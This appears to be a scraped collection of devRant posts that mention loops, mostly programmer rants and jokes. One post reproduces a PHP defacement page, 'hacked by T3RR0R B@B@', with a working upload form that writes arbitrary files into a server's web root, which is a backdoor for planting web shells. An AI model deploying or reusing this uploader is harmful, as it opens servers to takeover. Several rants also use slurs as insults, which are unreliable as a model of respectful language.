Writing a brainfuck interpreter is a lot fun: Mine does recursion within loops. I also added functions: strings, you can cheat. Stackdump(!), Exit script(*) , go to first cell (^), go to last cell(?), nulling cell (0) It parses this for example: "retoor" ^[.>]. It will dump string retoor. Explanation: the string moves ptr to sixth place. ^ will reset pointer to first. [] is a loop that executes as long there's data in current cell. The "." prints char of current cell (Number if not alpha etc). ">" moves a cell to right. [.>] will thus print until it moved to an empty cell. To move to first, I could've also used my repeater function by adding times to repeat after command: <6 moves six places to left. .>.>.>.>.>.> is also a way to print six chars. +[,.] works as the Linux program "cat". , is one char keyboard input.
Thanks for listening to my tedtalk8 -
Here is another rather big example of how C++ is WAY slower than assembler (picture)
Sure - std::copy is convenient
but asm is just way faster.
This code should be compatible with EVERY x86_64 CPU.
I even do duffs device without having the loop:
the loop happens in the rep opcode which allows for prefetching (meaning that it doesnt destroy the prefetch queue and can even allow for preprocessing).
BTW: for those who commented on my comment porn last time: I made sure to satisfy your cravings ;-)
To those who can't make sense of my command line:
C++ 1m24s
ASM 19s
To those who tell me to call clang with -o<something>:
1) clang removes the call to copy on o3 or o2
2) the result isnt better in o1 (well... one second but that might be due to so many other things, and even if... one second isn't that much)25 -
Here I am wondering why the array only has 1 item after the loop finishes. I wonder if it's because the array I'm pushing too is INSIDE the loop...😁1
-
How I solve complex problem during development.
1. I left my machine with all the thinking and start to think of another activity.
2. Start another activity I like specially a physical one like playing a game, jogging or just walking.
3. Then after I am fully involved with this activity I start to think of different scenarios of the problem I was trying to solve.
4. Eventually, different solutions came to my mind and I evaluate them one by one with respect to my problem.
5. I finalize a couple of solutions based on the evaluations.
6. Rush to my machine and start implementation to see if it work.
PS: During all these thinking I will be terrible at the activity I am doing.
Loop again if It didn't workout.3 -
My life is basically a loop of:
1) “I’m in a slump and terribly depressed because of my lack of productivity.”
2) “I know! I’ll try using the strategies that proved to make me very productive”.
3) “I’m very productive right now, that’s because I’m so smart and talented, it’s just part of me”
4) Back to step 1
Im an unaccomplished idiot with a big ego. Why do I have an ego if I don’t have any real accomplishments????
Dear god, I will become a fucking egotistical moron the day I actually do something worthwhile.
I’m a goddamn fucking piece of shit.5 -
Tech Lead: We need to exclude logged in user from our all users API as we don't want to show user's self card on the frontend with other users.
Me (Backend dev): This should be handled by the frontend and they should exclude it by a condition in their loop:
If (user.id != loggedUser.id)
{
// Add card
}
We also need self user at several other places.
Tech Lead: Create a query param filter for that.
Me: We should keep our APIs as generic as possible.
(Real thing starts)
Tech Lead: Which has more processing power frontend or backend?
Me (confused): Backend
Tech Lead: This will add a break to our loop and Do you know how much processing power it will take because of this condition?
Me (dead): WHAAAA....?18 -
I had a response body that I needed to obtain data from. It would either come as {success: {name, id}} or {success: [{name, id},{name,id}]}
I couldn't loop over something that wasn't a list and I couldn't just ask the type of the element in success so in my infinite wisdom I split the cases by examining the length of the element in success. If it had one it was an array and could be looped over, if it didn't, it was a single object to be processed 😂 if it works it works (it's still in production, tyvm)4 -
This was when I was pursuing my bachelors degree. One of the professors was of the opinion that only her code was right and anything else is wrong! For example if she did something with a for loop and I did the same with a while loop, my answer would be wrong -_- What the hell -_-
(Also, often her code would be wrong too and sometimes wouldn't even compile.. She used Notepad btw)10 -
In college I was working on a PHP app that needed to get a list of people to send emails to from a DB and send an email to all of them.
The good news is, I had hard-coded my own email address for testing so I wouldn't annoy anyone if things got messed up.
The bad news is, I had done something wrong and had an infinite loop. It was only running for 30 seconds or so, but the emails were coming in for hours.1 -
Is it so hard to comment your code?
I work on collab projects here and there and both the comments and documentation are both awful, nearly always, there are some exceptions.
This is a plea to all those who teach anyone to program. "This performs a loop" is not a helpful comment, nor is "This sets variable x to 1" where the line below is "let x = 1".
The last piece of code brings me on to my next point meaningful variable names. If x is a variable that stores the age of a machine call it ageOfMachine or age_of_machine. Not aom, not x but what it actually is, modern IDEs and text editors will fill this out for you.
Finally documentation, a good friend of mine sent me this quote a while back, I can't find the image but "Documentation is like sex, when it's good, it's great. But when it's bad it's better than nothing." Your documentation should be good, a good pattern to follow is the Node.js documentation, it tells the function, what it does and what parameters it takes.
Anyway rant over; and I'm sure that this applies to people outside of this community only.5 -
At the University, Algorithms class, exercises lesson..the assistant explaining the results of an assignment:
"Because here..if we use a classic 'if-else' loop..."
😳1 -
Making a loop is like taking a dump:
If you dont manage all the shit, you'll end up with an overflow. -
Somebody pays for this domain 👍
Translation: www.if-loop.de
There are no if-loops, just if-statements! -
A funny story I just remember while my code is compiling :
Back in high school, in Math, we were taught how algorithm works, and we made some exercises with practical examples.
I didn't know anything about it back then, so was curious. Was pretty fun, but one day, my teacher said that a IF is a loop. I said "no, this is a test" but she keeps saying that it was a loop, ignoring me (I dunno if she actually heard me) and no one actually noticed it as she repeated it several times (while I was saying that it's not). I just gave up trying to say it's wrong.8 -
Another oldie - apologies if it has been done before.
So there were these two developers in a light aircraft looking to land, but they were completely fog bound and had no clue where they were (I said it was an oldie - no GPS).
So they flew around for a while, getting lower and lower hoping to see a landmark, when they flew past this office building.
As they went by, they saw a single light on in one of the windows, so they flew around again and attracted the guy's attention.
On the next loop around, the pilot shouted "WHERE ARE WE?"
Then on the next loop around, the guy in the office shouted back "YOU'RE IN AN AIRPLANE".
They looped around again, and the pilot shouted "THANKS!" and set course south west for 15 miles and made a perfect touchdown at Seattle airport.
Hi passenger looked at him and said "How did you do that??"
He said "Quite simple really. I asked that guy a perfectly reasonable question, and got an answer that was 100% correct, but totally useless, so I deduced that must be Microsoft, and I knew that the airport is 15 miles to the south west"2 -
I help first year Computer Science students at my uni. In the first few weeks I reviewed someone's code to find he had 253 variables called var1, var2, var3 and so forth. The even worse part: he made the same if-else structures for every variable without using a loop.
if (var1 == something) {
//huge chunk of code here
}
else if (var1 == something) {
}
else {
}
... var2... var3
The funniest thing about this is that we had a discussion about this, because he claimed this was the right way to solve his problem.5 -
Fuck pep8 in general. Fuck harder anything to do with line limits. Fuck with a rusty spatula those who tie it into their git precommits or CI tests.
What's that, it's 2018 and even the shittiest walmart-tier computers have 1080p OR BETTER at a 16:9 aspect ratio?
"lol, 80 character line limit."
Eat a bucket of rancid dicks.
Oh, and since we're forcing you to be so economical with your characters, we're going to force four space tabs. Yknow, rather than simple single tab characters, which could mean everyone can set their preferred level of spacing without bloating the code with whitespace.
Because, yknow, it's entirely reasonable to chew up 1/8 of a line because you're editing a function inside a class definition. God Almighty forbid you try to do a for loop inside that function! Fuck you!
"Oh but you can't have two editors or terminals open side by side without that limit!"
BULL FUCKING SHIT. Here's my shitty 1280x1024 display on my shitty computer with two Sublime editors open side by side. You'll notice the break is at 100 characters. You'll notice I don't have to scroll horizontally to do two things at once. You'll notice I even have room for COMMENTS!
If your code standards require you to make your code *less* readable and *less* clear and take up *more* space to accomplish the same tasks, YOUR CODE STANDARDS SUCK!
Enough with this stupid meme. We're not in the 80s anymore and it's high time to start fucking acting like it.7 -
It’s been so long since I posted but this time it’s juicy again.
I got a coworker, no prio experience but already a year and few months into the job. He’s bad.
Magnitudes of bad!
We’re trying to teach him but to no avail. Everything about him sucks, major ballsack to be exact.
His attitude is to avoid every task, finishes nothing and then starts something new.
„Did you do X like we told you to?“
„No I started on Y, because I thought it [looks better, seems more interesting, thought that X is useless…]“
When you ask him much is done he is always „almost“ finished and needs your help on the „last 5-10%“. Yeah fuck that!
But that guy has a talent, his talent is to always give you technically correct answers which actually are complete bullshit.
„What are you doing at your job?“
„Staring at a screen and typing things.“ dude what?
That guy used the excuse „I can’t do maths“ on everything.
For an exam he had to calculate how long it would take to reach a certain amount if you would get some interest in that every year.
He asked the teacher for the formula. During the exam! And when the teacher didn’t want to give it to him he wrote plainly „can’t do maths“ on the paper and left
His code is of a quality as if he would write his first line in a week and then has the audacity to blame me and the colleagues for not explaining it right.
Ok you might think now we’re teaching him bad, or are too impatient. But honestly if you have to explain how to do a for loop for over about 15 months and get that attitude I think you get the right to be angry. I don’t mind explaining on how things work, even for the hundredth time, but then don’t tell me you understood, go behind my back, complain at a colleague how bad I explained, get explained by him and then do it again until you whored yourself through the whole staff!
It’s like he got the mind swiper from Men in black at home. Every day he hits the reset button.
He had a week of just changing indentation on a html file. Why? Because he wanted to find his style.
Yeah his style
if(a==b){
console.log(a);
}
else {
console.log(b)
}
And to produce code like that it takes him atleast 4 hours of trial and error.
And at the same time he goes arround and boasts what a super good programmer he his and that he can do some project work for them.
How we found out? Because he started working in those projects during work time at the office and asked us how to do things.
And he does so like a complete bastard!
Broken sql query? “No that query is perfect as it is, it’s supposed to show no results! But, just in theory, if I wanted to show some results, what would I need to change?”
I’m so mad about it and pissed on a personal level because he goes around blames everyone and the world for his short comings5 -
I would like to know if anyone has created a CSV file which has 10,000,000 objects ?
1) The data is received via an API call.
2) The maximum data received is 1000 objects at once. So it needs to be in some loop to retrieve and insert the data.11 -
Julia is a smelly pile of steaming shit.
https://discourse.julialang.org/t/...
Jesus fucking christ would you look at that pile of pure utter shit. The dumbfuck dev somehow managed to break WHILE loops for devs coming from python, and I speak for myself and probably others when I write most of us python developers are functionally braindead. If you can somehow fuck it up for python devs, a significant portion of the people you're trying to attract (owing by the syntax), then you should probably just go head and delete your whole git repo now.
Julia is a prime example of why you don't listen to your users on fucking github about the direction of language development.
What a bunch of fucking booger eating retards.33 -
A few weeks ago, I was kept up until the wee hours of the morning trying to figure out how in the hell the Monty Hall problem works. After finally getting it (I'm slow, okay?), I decided to write a program to run simulations of it.
First incarnation of program took user input. User enters what door they choose (1, 2, or 3), then is told what door Monty opens, then given the decision of staying with the door they originally chose or switching, then informed how that worked out for them.
Second incarnation of program ran on a loop. At the start of each loop, a random door is picked for the user guess. Then the door Monty opens is calculated from the remaining doors (excludes user guess and prize door). Then user switches doors (choosing the door that was not their original door or the door Monty opened). At the end of each loop, if the door they switched to was the prize door, it would increment a win counter, else increment a loss counter. After running the loop 1000000000 times, it printed to console `You always switched doors, resulting in ${wins} wins and ${losses} losses`.
THEN I decided to write a variation to run a while loop on the outside of the loop to increase the number of total doors until the point where the decision to switch doors hurt more often than it helped. At this point, I decided to incorporate file I/O and write to a file rather than a console. And that was neat!
And then I decided it would be cool to go back to the three door variation, printing on each loop the original door, the door Monty opened, the door that was switched too, the result of the switch (win or lose) and what the prize door was.
But for the life of me, I couldn't seem to get the file to write properly. It would, like, always crash my terminal. I tried open + append, I tried append. I tried createWriteStream. Still just failure.
And then I changed it to an appendFileSync and happened to look at one of the files that I was writing to. "Huh, over a gig seems a lot."
"Well, how much are you writing each loop? Did you forget to keep in mind how many bytes that would be?"
TLDR: If you're going to write a program that's going to write data to a file on a loop, you might want to figure out how much it's going to end up writing .... before trying to run it. And running a loop 1000000000 times may be a little excessive.
*face palm*2 -
Company has me giving interviews and today brought the second "Sr JavaScript Developer" that's gotten past multiple people that can't even construct a fucking "for" loop.
Get the fuck out of here... And those excuses at the end trying to explain your "industry experience" just annoy me further.
If I have to smile, thank, and shake another one of these fucktards hands, I'm gonna scream!11 -
3 straight days with less than 3 hours of sleep per night. If something or someone wakes me in the first fifteen minutes as I'm drifting off, that's it, my wired for however long.
Previous two nights I just barely slept at all. Last night got awakened twice as I was drifting off. To start with, its ettypre for me to be able to fall asleep at all a second time.
Last three nights I'm not actually sure I even slept. I blinked and it was morning and I woke up exhausted. Only thing I can remember is racing thoughts, as I fell asleep, and the very same exact thoughts *as* I woke up, as if my brain had been thinking the same thing on a loop for a few hours, while I was catatonic and unable to fully shut down, stuck in 'on' mode all night and not realizing it.
Not a single fucking job I work honor's their god damn promises, let alone my repeated requests for night shift.
Was so exhausted yesterday my chest hurt.
How am I supposed to drive to work on less than 9 hours asleep spread out across three days? Cant catch a fuckong break lately, and when I do it's like the universe fucking sabotages me with shit like this.6 -
Worked on a WordPress Multisite project that required digging around to find ways to hook into areas that weren’t meant to be hooked, create and add custom core files that would withstand updates, ensure certain plugin capabilities were available even if the current site didn’t load them, and a variety of other black magic that I’m too fried to remember off the top of my head.
By the end of the project I more or less felt like a god in WordPress—There’s little I could ever want to get it to do that I didn’t know how to do.
Then again, this is all probably a long way of saying I learned some very bad ways to do things. Mercifully, it’s fully documented with PHPdoc blocks down to the loop level so that even a 3-year-old should be able to figure out the logic...
All this to say, I’m definitely ready for a new project.3 -
A couple of years ago, we decide to migrate our customer's data from one data center to another, this is the story of how it goes well.
The product was a Facebook canvas and mobile game with 200M users, that represent approximately 500Gibi of data to move stored in MySQL and Redis. The source was stored in Dallas, and the target was New York.
Because downtime is responsible for preventing users to spend their money on our "free" game, we decide to avoid it as much as possible.
In our MySQL main table (manually sharded 100 tables) , we had a modification TIMESTAMP column. We decide to use it to check if a user needs to be copied on the new database. The rest of the data consist of a savegame stored as gzipped JSON in a LONGBLOB column.
A program in Go has been developed to continuously track if a user's data needs to be copied again everytime progress has been made on its savegame. The process goes like this: First the JSON was unzipped to detect bot users with no progress that we simply drop, then data was exported in a custom binary file with fast compressed data to reduce the size of the file. Next, the exported file was copied using rsync to the new servers, and a second Go program do the import on the new MySQL instances.
The 1st loop takes 1 week to copy; the 2nd takes 1 day; a couple of hours for the 3rd, and so on. At the end, copying the latest versions of all the savegame takes roughly a couple of minutes.
On the Redis side, some data were cache that we knew can be dropped without impacting the user's experience. Others were big bunch of data and we simply SCAN each Redis instances and produces the same kind of custom binary files. The process was fast enough to launch it once during migration. It takes 15 minutes because we were able to parallelise across the 22 instances.
It takes 6 months of meticulous preparation. The D day, the process goes smoothly, but we shutdowns our service for one long hour because of a typo on a domain name.1 -
Amazon mturk. Job was to rate grammatical corrections.
First of all, it's surprising how often people forget commas. That's like, the #1 error with these things.
People just keep going on and on and on and on and on and never break their sentence even if there was supposed to be a comma and it really makes the voice in my head fell like it's running out of breath but it can't stop because the sentence is still going and [...]
The corrections are generally okay. I took many more college-level English classes than I think I needed to, so my English is fairly decent. For this reason, I might be a bit more of a stickler than I need to be for this job.
But this one threw me for a loop, because it's just such a bad correction. Not only does it miss the obvious errors but creates a new, equally obvious error.
This is one of the reasons mturk is interesting to me. Sure, I don't make.... practically anything. But you come into such a variety of work that it's almost addicting in a sense.18 -
So I just fixed about a year or so old bug by removing my solution entirely.
As very few of you will know, I work on/ off on a project called TG which accelerates cmd.exe
One of my oldest bugs in this project is that the buffer resizes real weird. If you adjust both the height and width at the same time, it goes into this weird infinite loop business.
As it turns out, cmd.exe handles that by itself just fine. I just removed my resize listeners and now everything is running smooth.
feelsgood(?)man.jpg -
Helping Fix something on my Managing Directors Laptop...
After a restart I ask (word for word), "Can you please give me the password you use to login to your laptop"
She proceeds to give me her E-mail password
I respond by saying that I think that is her e-mail password and I need the laptop password.
Next thing I hear "You have to be more clear, to me they are the same thing"
Seriously... How much clearer could I have been, I'd be annoyed right now if my brain wasn't in an infinite loop going WTF JUST HAPPENED... WTF JUST HAPPENED... WTF JUST HAPPENED...7 -
This was a while back... Like 20 years ago. I was doing some crappy development with asp/vbscript. Once I had a task to send emails in certain cases and while testing, I used my personal mail as recipient. In a loop. If you ever did asp/vbscript you know how easy it is to have an infinite loop... And my mail was forwarded as text messages to my phone. I deleted incoming text messages for days.
And I made the same mistake next week.2 -
i was hired to join a team of old devs (40+) in an unnamed European country "yay goodbye 3rd world it's time to enjoy the quality of life" assist with enhancing already existing software and creating new solutions.
prior to my arrival most things were slow and super buggy, looking at the code base it shouldn't be a surprise, amateur hour everyone, logic implemented that is not needed, comment driven development, last time code review was done back in 1996. lots of anti patterns.
i swear there is a for loop that does nothing but it loops through a 100+ elements list, trunk based development with tfs since git is "not really needed"
test projects are not there.
>enter me an educated fool, with genuine passion for the craft and somehow a decent amount of knowledge.
>spent the last year fixing stuff educating people on principles and qualities.
> countless hours of training and explaining. team is showing cooperation, a new requirement comes in to develop with react.
> tear my ass creating reusable shit and self explanatory code with proper naming etc using git with feature branching, monday is first deployment day.
> today a colleague was working on an item submit a pull request and self approve it
> look at the code..... WTF the dumb fuck copied and pasted the whole code from different kendo components but somehow managed to refractor the name to test component, commented out all the code that he didn't use did the api call directly from the component, has 2 useeffects that depends on the a fucking text box changes for no reason, no redux implementation, the acceptance criteria is not achieved, and it doesn't work it just look right.
> first world country shit cannot scold, cannot complain, lead by example.
>asked him why you did this, the response was yeah probably i shouldn't have done that, i really didn't understand anything in the training but didn't want to waste time!!!!
> rest of the team created a different styled disaster with different flavors they don't even name their shit the same way.
fellow developers I'm stuck in a spaceship with a bunch of imposters, seriously i never cried in my entire life now I'm teary and on the verge of a break down.
talk with management "improving needs time" and offers me to join a yoga session to release the stress as if reaching nirvana would deliver shit on monday.
i really don't know what do is this a rant, is this a cry for help, I'm not sure, any advice is welcomed.7 -
Burn I hell whoever designed this font.
I just spend 20 minutes trying to figure out what special thing this for-loop does if it's just from 0 - 12 -
Fucking corporate bullshit. My laptop, when plugged in, has no need for power saving settings. I leave it plugged in with the screen locked, when I'm not at the office. But if I ever change any power settings, the corporate rootkit changes them back to unreasonable settings about once an hour. So I put this on a 300 second while loop.
https://pastebin.com/ALET2wSa2 -
after staring my stupid code for 10 mins, the facepalm. Better even before this my program went into infinite loop cause i had initialized a counter and if(counter<10) WITHOUT INCREMENTING IT. Its 1 am i should sleep.2
-
When you see
int i = 0;
while (int i == 0) {
//Code where nothing changes i
}
If you're going to create an infinite loop you could at least write it as
while (true) { }
and save me a little time wondering what the hell 'int i' is for!3 -
The worst infinite loop of all.
while(hasPoopOnTP( )){
if(goodEnough( )){
break; //it's never good enough
}
ass.wipe( );
}1 -
I know I'm out of the loop since I barely use these sites, but...
What is it with this seemingly ridiculous new trend on LinkedIn of replacing your meaningless job title with, somehow, an even more meaningless fake description of what you're doing? I'm seeing it all over.
Back in the day it'd just be "Python developer". Then the trend seemed to be a "Senior / lead / principle software engineer / Python specialist" (who cares if you're actually a senior eh, this is LinkedIn.) And if that wasn't ridiculous enough, now it's "Helping to transform the globe towards a greener future by implementing beautiful, robust code in Python 3.10" or similar. Who the hell wants to see this crap?!5 -
Picked up stress braiding as a habit. Had a full loop Tuesday and after being unable to sleep more than two hours that night, found myself braiding my hair. For five hours. Straight. Was too lazy/tired to undo it, so went to bed with my hair braided. (My hair tends to stay without help, so I didn’t use hair ties or anything)
Today, I remembered that if something takes you five hours to do, it’s going to take you a while to walk it back. Took a couple hours.
Now I look like a poodle.6 -
Curiosity killed Ben the cat.
I work in Android Dev. I use scrcpy to control devices remotely. I realized some phones have chrome remote desktop on them...I thought, what if... I open my computer screen on the devices while these devices cast their screen to my computer. Classic mirror loop effect, align to the pixel, staring down the abyss of infinity mirroring... until i took off my earphones to go check this effect on one of the devices.... my computer audio was being played on all devices running chrome remote. :( I feel so stupid1 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
The programming things I've seen in code of my uni mates..
Once seen, cannot be unseen.
- 40 if's in 10 lines of code (including one-liners) for a mineswepper game
- looping through a table of a known size using while loop and an 'i' variable
- copying same line of code 70 times but with different arguments, rather than making a for loop (literally counting down from 70 to 0)
- while loop that divides float by 2 until it's n < 1 to see if the number is even (as if it would even work)
..future engineers
PS. What are the things you've been disgusted by while in uni? I'm talking about code of your collegues specifically, I'm also attaching code of my friend that he sent me to "debug", I've replaced it with simple formula and a 2D distance math, about 4 lines of code.6 -
I really need to vent. Devrant to the rescue! This is about being undervalued and mind-numbingly stupid tasks.
The story starts about a year ago. We inherited a project from another company. For some months it was "my" project. As our company was small, most projects had a "team" of one person. And while I missed having teammates - I love bouncing ideas around and doing and receiving code reviews! - all was good. Good project, good work, good customer. I'm not a junior anymore, I was managing just fine.
After those months the company hired a new senior software engineer, I guess in his forties. Nice and knowledgeable guy. Boss put him on "my" project and declared him the lead dev. Because seniority and because I was moved to a different project soon afterwards. Stupid office politics, I was actually a bad fit there, but details don't matter. What matters is I finally returned after about 3/4 of a year.
Only to find senior guy calling all the shots. Sure, I was gone, but still... Call with the customer? He does it. Discussion with our boss? Only him. Architecture, design, requirements engineering, any sort of intellectually challenging tasks? He doesn't even ask if we might share the work. We discuss *nothing* and while he agreed to code reviews, we're doing zero. I'm completely out of the loop and he doesn't even seem to consider getting me in.
But what really upsets me are the tasks he prepared for me. As he first described them they sounded somewhat interesting from a technical perspective. However, I found he had described them in such detail that a beginner student would be bored.
A description of the desired behaviour, so far so good. But also how to implement it, down to which classes to create. He even added a list of existing classes to get inspiration or copy code from. Basically no thinking required, only typing.
Well not quite, I did find something I needed to ask. Predictably he was busy. I was able to answer my question myself. He was, as it turns out, designing and implementing something actually interesting. Which he never had talked about with me. Out of the loop. Fuck.
Man, I'm fuming. I realize he's probably just ignorant. But I feel treated like his typing slave. Like he's not interested in my brain, only in my hands. I am *so* fucking close to assigning him the tasks back, and telling him since I wasn't involved in the thinking part, he can have his shitty typing part for himself, too. Fuck, what am I gonna do? I'd prefer some "malicious compliance" move but not coming up with ideas right now.5 -
Fiddling with the UiPath RPA tool. What the fuck is this monster?
So, you create apps by drawing a flowchart, like some kid using Scratch. Then, suddenly, you have to create a .NET object just to get a random number!
Who the fuck is the target audience that can create objects, call a directory read function, etc, but can't write a loop?! Show me that fucking person.
Then I have to debug the fucking selectors when they don't work correct. All this requires is understanding how UIs are structured under the hood. So, you know that a menu bar is a window, but you need to draw a fucking if statement?!
And how would you debug and manage this monstrosity?
It like we learned nothing from all the Excel apps we build for decades.
I mean, it's an impressive app. But, why does it exist?
Someone needs to stop this before it gets out into the wild or we'll all be debugging flowchart a created by business analysts.
You have been warned. Join the fight or accept the consequences.1 -
We are switching to an infinite scroll mode for our app. I told the backend dev in my project (we're just 2 people) I need an API to get more than one post at once.
He told me to use a loop to call the old URL 15 times.
...Not sure if stupid or just too lazy4 -
Every time I think I've seen the worst there's someone to prove me wrong...
GRANT ALL ON ALL TABLES/SEQUENCES
To web user on production
if (x == 1) y = 1;
else y = x;
loop through a collection and get 'few' relations using ORM - 1000s of queries and not a single join - but don't worry, "The ITs will just add more RAM and some CPU cores to the server"
4th day off and I already miss this2 -
Company has a severe lack of fresh blood.
"let's recruit everyone who has an IQ over room temperature and barely passes the mark".
Me protesting bloody murder cause I know that the idea is not just profoundly dumb, but frustration from high staff turnover takes a toll on *everyone*.
"nah can't be that bad".
Then the discussion started who could do monitoring and mentoring, so we can sort out the bad apples *quickly*.
Me reminding again that this is exactly what leads to a high staff turnover, as this is nothing else than "hire, hire - quickly fire".
Guess who won the award of being the mentor / monitor ....
*drum roll*
Come on, I know you would NEVER expect this.
Let me surprise you: M E.
Yeah. They chose the person that was absolutely against this idea...
Because that person is "most qualified for the task at hand and has the necessary qualifications".
Today was the first 4 h workshop with a new recruit.
The Lord has had zero mercy on me.
I started to mute myself after 30 minutes in regular intervals to just scream and curse the world.
How profound dumb a person can be amazes me.
Person has had a "very expensive 6 month boot camp course".
I was close asking if the boot camp course was in watching porn and wanking their brain cells out....
Git... Yeah he knew what he was doing...
Except that he messed up every commit by either not sticking to the companies format or - what I found funny the first 2 times, then not so much anymore - just writing a git commit message like a 15 year old teenage girl would write to their diary.
Programming. Oh yeah. He should be a programmer.
He had much Bootcamp.
Bootcamp expensive. Bootcamp good.
If someone is unable to iterate over an iterator... And instead starts creating an integer based array of a map's key name to then fetch the map value in an for loop based on the created key array.
Yeah. Bootcamp much good.
Creating DTOs...
It took an hour to write a DTO with him... Cause constructors are hard and it's even harder when you have to explain primitive datatypes in Java, null safety, constructors, NPEs, final, ...
Like really no experience at all.
The next week's will be amazing.
Either I get a valium drop or I'm gonna blow my head off, cause mentoring will drain the last bit of hope I had left in me.
Note that I do not blame the recruit (yeah he's dumb. But he has ZERO work experience, so it's not unexpected), I'm just too fed up with getting the poo crown despite being against the whole process.
I think the recruit could make it..........
But that I got the shittiest job ever is really haunting me.
I dunno how I survive the next weeks.
And this is just the first recruit... There will be more.2 -
"what's the update?" - Team Lead
For every fucking idiotic task given, every 3 hours, as if the world is gonna end, while all you did in that time was have a tea, chat for a while, send a few mails, sat with a few co workers and checked up on them.
And then he gives me all these "tricky issues", which are apparently critical, and demands updates with a higher frequency! Never sat with me to solve even one of them. Not one.
I never thought that I lacked the basic common sense to update you as soon as I fucking have one.
Ooh, also loop in the senior manager right before annual appraisal. There goes my hike!3 -
This is so annoying, I had 9 diff. jobs the past 2 years and this is my 10th and if this doesn't change I might reconsider my options again.
I came to work at a company that pays me like a Junior and treats me as an intern. My 20yo "boss" who acts as a project owner/lead dev doesn't want to learn anything new and sees any improvement as a waste of money. The problem is he thinks hes a great programmer but he doesn't know shit. Im mainly working on the Laravel installation because "I claimed I know Laravel". And its absolute garbage. They haven't used a single Laravel features besides routes and everything else is vanilla PHP. They write for loops that loop through $_REQUEST to remove a single character. Write 100 deep nested ifs and they abuse Elasticsearch to the point ES crashes because the program is using 1000 deep multidimensional arrays. Its only a webshop...
Everytime I try to make a suggestion like making the master branch protected, doing code reviews etc etc I get shut down because they are autistic and don't want anything to change.9 -
I like how software is smart so I have to do things twice instead of once.
Automatically putting quotes works only if you put quotes and then paste inside it, the problem is I usually paste then put first quote and then need to remove second quote and put it on back and remove second quote from back.
Video start from where you left automatically fires and shows closing credits because you obviously want to see them.
Evaluate variable removes old evaluation because why you want old one when you have new.
Collapsing imports or functions in ide so you need to expand them all the time because who needs to look at functions when we have ai
AI models suggesting and adding meaningless annotations and code suggestions to distract me.
Randomly running some console command because I entered keyboard shortcut I don’t know even exists.
Literally every web browser address bar becomes advertising network instead of showing me history results.
Shadowing browsing history when you click back and forward button.
Search results are now buy results.
Suggesting me useless crap to watch because I watched one video in that topic.
Showing me 10 minutes videos as a solution to my problem where I want to find exact line of text to copy paste it. If I’m lucky I need to write text from video into my computer.
Stack overflow infinite loop of answered in #some-different-question
